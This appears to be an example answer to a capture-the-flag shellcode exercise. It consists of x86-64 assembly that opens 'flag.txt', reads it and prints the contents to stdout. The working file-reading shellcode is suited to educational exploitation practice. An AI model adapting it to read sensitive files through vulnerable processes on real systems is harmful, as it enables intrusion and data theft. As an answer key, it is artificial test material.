解答例
mov rax, 0 # null terminate
push rax # push null to stack
mov rax, 0x7478742e67616c66 # "flag.txt"
push rax # push file name to stack
mov rdi, rsp # file name buffer pointer
mov rsi, 0 # O_RDONLY
mov rax, 2 # syscall number
syscall # sys_open
mov rdi, rax # fd
mov rsi, rsp # buffer pointer
mov rdx, 1024 # buffer size
mov rax, 0 # syscall number
syscall # sys_read
mov rdx, rax # buffer size
mov rsi, rsp # buffer pointer
mov rdi, 1 # stdout
mov rax, 1 # syscall number
syscall # sys_write